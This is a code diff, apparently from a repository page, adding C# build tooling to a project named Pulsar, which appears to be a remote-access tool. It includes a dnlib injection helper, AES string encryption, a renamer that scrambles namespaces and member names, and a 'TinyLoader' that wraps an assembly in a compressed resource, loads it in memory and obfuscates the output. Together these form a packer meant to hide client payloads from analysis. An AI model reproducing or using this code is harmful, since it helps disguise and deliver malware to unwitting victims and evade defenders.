foreach (FieldDef field in typeDef.Fields)
|
||||
CopyFieldDef(field, ctx);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Injects the specified TypeDef to another module.
|
||||
/// </summary>
|
||||
/// <param name="typeDef">The source TypeDef.</param>
|
||||
/// <param name="target">The target module.</param>
|
||||
/// <returns>The injected TypeDef.</returns>
|
||||
public static TypeDef Inject(TypeDef typeDef, ModuleDef target)
|
||||
{
|
||||
var ctx = new InjectContext(typeDef.Module, target);
|
||||
var result = PopulateContext(typeDef, ctx);
|
||||
Copy(typeDef, ctx, true);
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Injects the specified MethodDef to another module.
|
||||
/// </summary>
|
||||
/// <param name="methodDef">The source MethodDef.</param>
|
||||
/// <param name="target">The target module.</param>
|
||||
/// <returns>The injected MethodDef.</returns>
|
||||
public static MethodDef Inject(MethodDef methodDef, ModuleDef target)
|
||||
{
|
||||
var ctx = new InjectContext(methodDef.Module, target);
|
||||
MethodDef result;
|
||||
ctx.DefMap[methodDef] = result = Clone(methodDef);
|
||||
CopyMethodDef(methodDef, ctx);
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Injects the members of specified TypeDef to another module.
|
||||
/// </summary>
|
||||
/// <param name="typeDef">The source TypeDef.</param>
|
||||
/// <param name="newType">The new type.</param>
|
||||
/// <param name="target">The target module.</param>
|
||||
/// <returns>Injected members.</returns>
|
||||
public static IEnumerable<IDnlibDef> Inject(TypeDef typeDef, TypeDef newType, ModuleDef target)
|
||||
{
|
||||
var ctx = new InjectContext(typeDef.Module, target);
|
||||
ctx.DefMap[typeDef] = newType;
|
||||
PopulateContext(typeDef, ctx);
|
||||
Copy(typeDef, ctx, false);
|
||||
return ctx.DefMap.Values.Except(new[] { newType }).OfType<IDnlibDef>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Context of the injection process.
|
||||
/// </summary>
|
||||
class InjectContext : ImportMapper
|
||||
{
|
||||
/// <summary>
|
||||
/// The mapping of origin definitions to injected definitions.
|
||||
/// </summary>
|
||||
public readonly Dictionary<IMemberRef, IMemberRef> DefMap = new Dictionary<IMemberRef, IMemberRef>();
|
||||
|
||||
/// <summary>
|
||||
/// The module which source type originated from.
|
||||
/// </summary>
|
||||
public readonly ModuleDef OriginModule;
|
||||
|
||||
/// <summary>
|
||||
/// The module which source type is being injected to.
|
||||
/// </summary>
|
||||
public readonly ModuleDef TargetModule;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="InjectContext" /> class.
|
||||
/// </summary>
|
||||
/// <param name="module">The origin module.</param>
|
||||
/// <param name="target">The target module.</param>
|
||||
public InjectContext(ModuleDef module, ModuleDef target)
|
||||
{
|
||||
OriginModule = module;
|
||||
TargetModule = target;
|
||||
Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the importer.
|
||||
/// </summary>
|
||||
/// <value>The importer.</value>
|
||||
public Importer Importer { get; }
|
||||
|
||||
/// <inheritdoc />
|
||||
public override ITypeDefOrRef Map(ITypeDefOrRef source)
|
||||
{
|
||||
if (DefMap.TryGetValue(source, out var mappedRef))
|
||||
return mappedRef as ITypeDefOrRef;
|
||||
|
||||
// check if the assembly reference needs to be fixed.
|
||||
if (source is TypeRef sourceRef)
|
||||
{
|
||||
var targetAssemblyRef = TargetModule.GetAssemblyRef(sourceRef.DefinitionAssembly.Name);
|
||||
if (!(targetAssemblyRef is null) && !string.Equals(targetAssemblyRef.FullName, source.DefinitionAssembly.FullName, StringComparison.Ordinal))
|
||||
{
|
||||
// We got a matching assembly by the simple name, but not by the full name.
|
||||
// This means the injected code uses a different assembly version than the target assembly.
|
||||
// We'll fix the assembly reference, to avoid breaking anything.
|
||||
var fixedTypeRef = new TypeRefUser(sourceRef.Module, sourceRef.Namespace, sourceRef.Name, targetAssemblyRef);
|
||||
return Importer.Import(fixedTypeRef);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override IMethod Map(MethodDef source)
|
||||
{
|
||||
if (DefMap.TryGetValue(source, out var mappedRef))
|
||||
return mappedRef as IMethod;
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override IField Map(FieldDef source)
|
||||
{
|
||||
if (DefMap.TryGetValue(source, out var mappedRef))
|
||||
return mappedRef as IField;
|
||||
return null;
|
||||
}
|
||||
|
||||
public override MemberRef Map(MemberRef source)
|
||||
{
|
||||
if (DefMap.TryGetValue(source, out var mappedRef))
|
||||
return mappedRef as MemberRef;
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Server.Build.Obfuscator.Utils.Injection
|
||||
{
|
||||
public class StringEncryption
|
||||
{
|
||||
public static string Encrypt(string input, byte[] key, byte[] iv)
|
||||
{
|
||||
AesManaged aes = new AesManaged();
|
||||
aes.Mode = CipherMode.CBC;
|
||||
aes.Padding = PaddingMode.PKCS7;
|
||||
ICryptoTransform encryptor = aes.CreateEncryptor(key, iv);
|
||||
byte[] encrypted = encryptor.TransformFinalBlock(Encoding.UTF8.GetBytes(input), 0, input.Length);
|
||||
encryptor.Dispose();
|
||||
aes.Dispose();
|
||||
return Convert.ToBase64String(encrypted);
|
||||
}
|
||||
|
||||
public static string Decrypt(string sInput, string key, string iv)
|
||||
{
|
||||
byte[] input = Convert.FromBase64String(sInput);
|
||||
AesManaged aes = new AesManaged();
|
||||
aes.Mode = CipherMode.CBC;
|
||||
aes.Padding = PaddingMode.PKCS7;
|
||||
ICryptoTransform decryptor = aes.CreateDecryptor(Convert.FromBase64String(key), Convert.FromBase64String(iv));
|
||||
byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
|
||||
decryptor.Dispose();
|
||||
aes.Dispose();
|
||||
return Encoding.UTF8.GetString(decrypted);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
using Mono.Cecil;
|
||||
using Pulsar.Common.Utilities;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Server.Build
|
||||
{
|
||||
public class Renamer
|
||||
{
|
||||
public AssemblyDefinition AsmDef { get; set; }
|
||||
|
||||
private int MinLength { get; set; }
|
||||
private int MaxLength { get; set; }
|
||||
private MemberOverloader _typeOverloader;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
|
||||
private Dictionary<string, string> _namespaceRenames;
|
||||
|
||||
private readonly SafeRandom _random = new SafeRandom();
|
||||
|
||||
public Renamer(AssemblyDefinition asmDef)
|
||||
: this(asmDef, 10, 30)
|
||||
{
|
||||
}
|
||||
|
||||
public Renamer(AssemblyDefinition asmDef, int minLength, int maxLength)
|
||||
{
|
||||
this.AsmDef = asmDef;
|
||||
this.MinLength = minLength;
|
||||
this.MaxLength = maxLength;
|
||||
_typeOverloader = new MemberOverloader(this.MinLength, this.MaxLength);
|
||||
_methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
_fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
_namespaceRenames = new Dictionary<string, string>();
|
||||
}
|
||||
|
||||
public bool Perform()
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types))
|
||||
{
|
||||
RenameInType(typeDef);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void RenameInType(TypeDefinition typeDef)
|
||||
{
|
||||
if (!typeDef.Namespace.StartsWith("Pulsar") || typeDef.Namespace.StartsWith("Pulsar.Common.Messages") || typeDef.IsEnum)
|
||||
return;
|
||||
|
||||
_typeOverloader.GiveName(typeDef);
|
||||
|
||||
typeDef.Namespace = RenameNamespace(typeDef.Namespace);
|
||||
|
||||
MemberOverloader methodOverloader = GetMethodOverloader(typeDef);
|
||||
MemberOverloader fieldOverloader = GetFieldOverloader(typeDef);
|
||||
MemberOverloader eventOverloader = GetEventOverloader(typeDef);
|
||||
|
||||
if (typeDef.HasNestedTypes)
|
||||
foreach (TypeDefinition nestedType in typeDef.NestedTypes)
|
||||
RenameInType(nestedType);
|
||||
|
||||
if (typeDef.HasMethods)
|
||||
foreach (MethodDefinition methodDef in
|
||||
typeDef.Methods.Where(methodDef =>
|
||||
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
|
||||
!methodDef.IsAbstract && !methodDef.IsVirtual))
|
||||
methodOverloader.GiveName(methodDef);
|
||||
|
||||
if (typeDef.HasFields)
|
||||
foreach (FieldDefinition fieldDef in typeDef.Fields)
|
||||
fieldOverloader.GiveName(fieldDef);
|
||||
|
||||
if (typeDef.HasEvents)
|
||||
foreach (EventDefinition eventDef in typeDef.Events)
|
||||
eventOverloader.GiveName(eventDef);
|
||||
}
|
||||
|
||||
private string RenameNamespace(string originalNamespace)
|
||||
{
|
||||
if (string.IsNullOrEmpty(originalNamespace))
|
||||
return originalNamespace;
|
||||
|
||||
if (!_namespaceRenames.TryGetValue(originalNamespace, out string newNamespace))
|
||||
{
|
||||
newNamespace = GenerateRandomNamespace();
|
||||
_namespaceRenames[originalNamespace] = newNamespace;
|
||||
}
|
||||
|
||||
return newNamespace;
|
||||
}
|
||||
|
||||
private string GenerateRandomNamespace()
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
int length = _random.Next(MinLength, MaxLength);
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
builder.Append((char)_random.Next('a', 'z' + 1));
|
||||
}
|
||||
return builder.ToString();
|
||||
}
|
||||
|
||||
private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._methodOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._fieldOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._eventOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary,
|
||||
TypeDefinition targetTypeDef)
|
||||
{
|
||||
if (!overloaderDictionary.TryGetValue(targetTypeDef, out MemberOverloader overloader))
|
||||
{
|
||||
overloader = new MemberOverloader(this.MinLength, this.MaxLength);
|
||||
overloaderDictionary.Add(targetTypeDef, overloader);
|
||||
}
|
||||
return overloader;
|
||||
}
|
||||
|
||||
private class MemberOverloader
|
||||
{
|
||||
private bool DoRandom { get; set; }
|
||||
private int MinLength { get; set; }
|
||||
private int MaxLength { get; set; }
|
||||
private readonly Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
|
||||
private readonly char[] _charMap;
|
||||
private readonly SafeRandom _random = new SafeRandom();
|
||||
private int[] _indices;
|
||||
|
||||
public MemberOverloader(int minLength, int maxLength, bool doRandom = true)
|
||||
: this(minLength, maxLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray())
|
||||
{
|
||||
}
|
||||
|
||||
private MemberOverloader(int minLength, int maxLength, bool doRandom, char[] chars)
|
||||
{
|
||||
this._charMap = chars;
|
||||
this.DoRandom = doRandom;
|
||||
this.MinLength = minLength;
|
||||
this.MaxLength = maxLength;
|
||||
this._indices = new int[minLength];
|
||||
}
|
||||
|
||||
public void GiveName(MemberReference member)
|
||||
{
|
||||
string currentName = GetCurrentName();
|
||||
string originalName = member.ToString();
|
||||
member.Name = currentName;
|
||||
while (_renamedMembers.ContainsValue(member.ToString()))
|
||||
{
|
||||
member.Name = GetCurrentName();
|
||||
}
|
||||
_renamedMembers.Add(originalName, member.ToString());
|
||||
}
|
||||
|
||||
private string GetCurrentName()
|
||||
{
|
||||
return DoRandom ? GetRandomName() : GetOverloadedName();
|
||||
}
|
||||
|
||||
private string GetRandomName()
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
int length = _random.Next(MinLength, MaxLength);
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
builder.Append(_charMap[_random.Next(_charMap.Length)]);
|
||||
}
|
||||
|
||||
return builder.ToString();
|
||||
}
|
||||
|
||||
private string GetOverloadedName()
|
||||
{
|
||||
IncrementIndices();
|
||||
char[] chars = new char[_indices.Length];
|
||||
for (int i = 0; i < _indices.Length; i++)
|
||||
chars[i] = _charMap[_indices[i]];
|
||||
return new string(chars);
|
||||
}
|
||||
|
||||
private void IncrementIndices()
|
||||
{
|
||||
for (int i = _indices.Length - 1; i >= 0; i--)
|
||||
{
|
||||
_indices[i]++;
|
||||
if (_indices[i] >= _charMap.Length)
|
||||
{
|
||||
if (i == 0)
|
||||
Array.Resize(ref _indices, _indices.Length + 1);
|
||||
_indices[i] = 0;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
using dnlib.DotNet;
|
||||
using Pulsar.Server.Build.Obfuscator.Utils.Injection;
|
||||
using Pulsar.Server.Build.Obfuscator.Utils;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using dnlib.DotNet.MD;
|
||||
using Microsoft.CSharp;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace Pulsar.Server.Build.TinyLoader
|
||||
{
|
||||
public class TinyLoader
|
||||
{
|
||||
|
||||
private byte[] app;
|
||||
|
||||
public TinyLoader(string path)
|
||||
{
|
||||
app = File.ReadAllBytes(path);
|
||||
}
|
||||
|
||||
public TinyLoader(byte[] data)
|
||||
{
|
||||
app = data;
|
||||
}
|
||||
|
||||
public void Save(string path)
|
||||
{
|
||||
File.WriteAllBytes(path, app);
|
||||
}
|
||||
|
||||
public byte[] Save()
|
||||
{
|
||||
return app;
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] data)
|
||||
{
|
||||
MemoryStream output = new MemoryStream();
|
||||
using (DeflateStream dstream = new DeflateStream(output, CompressionLevel.Optimal))
|
||||
{
|
||||
dstream.Write(data, 0, data.Length);
|
||||
}
|
||||
return output.ToArray();
|
||||
}
|
||||
|
||||
public byte[] Compile()
|
||||
{
|
||||
string sourceCode = @"
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
namespace a
|
||||
{
|
||||
class a
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
using (Stream a = Assembly.GetExecutingAssembly().GetManifestResourceStream(""a""))
|
||||
{
|
||||
MemoryStream b = new MemoryStream();
|
||||
using (DeflateStream c = new DeflateStream(a, CompressionMode.Decompress))
|
||||
{
|
||||
c.CopyTo(b);
|
||||
}
|
||||
|
||||
Assembly.Load(b.ToArray()).EntryPoint.Invoke(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
}";
|
||||
|
||||
CSharpCodeProvider provider = new CSharpCodeProvider();
|
||||
CompilerParameters parameters = new CompilerParameters();
|
||||
|
||||
|
||||
parameters.GenerateExecutable = true;
|
||||
parameters.GenerateInMemory = false;
|
||||
parameters.TreatWarningsAsErrors = false;
|
||||
parameters.IncludeDebugInformation = false;
|
||||
parameters.ReferencedAssemblies.Add("System.dll");
|
||||
parameters.ReferencedAssemblies.Add("System.Reflection.dll");
|
||||
parameters.ReferencedAssemblies.Add("System.IO.dll");
|
||||
parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");
|
||||
|
||||
parameters.CompilerOptions = "/target:winexe";
|
||||
|
||||
string tempFile = "temploader.exe";
|
||||
parameters.OutputAssembly = tempFile;
|
||||
|
||||
CompilerResults results = provider.CompileAssemblyFromSource(parameters, sourceCode);
|
||||
|
||||
if (results.Errors.HasErrors)
|
||||
{
|
||||
StringBuilder errors = new StringBuilder("Compilation errors:");
|
||||
foreach (CompilerError error in results.Errors)
|
||||
{
|
||||
errors.AppendLine(string.Format("Line {0}: {1}", error.Line, error.ErrorText));
|
||||
}
|
||||
throw new Exception(errors.ToString());
|
||||
}
|
||||
|
||||
byte[] output = File.ReadAllBytes(tempFile);
|
||||
try { File.Delete(tempFile); } catch { }
|
||||
return output;
|
||||
}
|
||||
|
||||
public void Pack()
|
||||
{
|
||||
byte[] loader = Compile();
|
||||
ModuleDefMD module = ModuleDefMD.Load(loader);
|
||||
|
||||
|
||||
module.Resources.Add(new EmbeddedResource("a", Compress(app), ManifestResourceAttributes.Public));
|
||||
|
||||
MemoryStream stream = new MemoryStream();
|
||||
module.Write(stream);
|
||||
|
||||
app = stream.ToArray();
|
||||
Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(app);
|
||||
obf.Obfuscate();
|
||||
app = obf.Save();
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user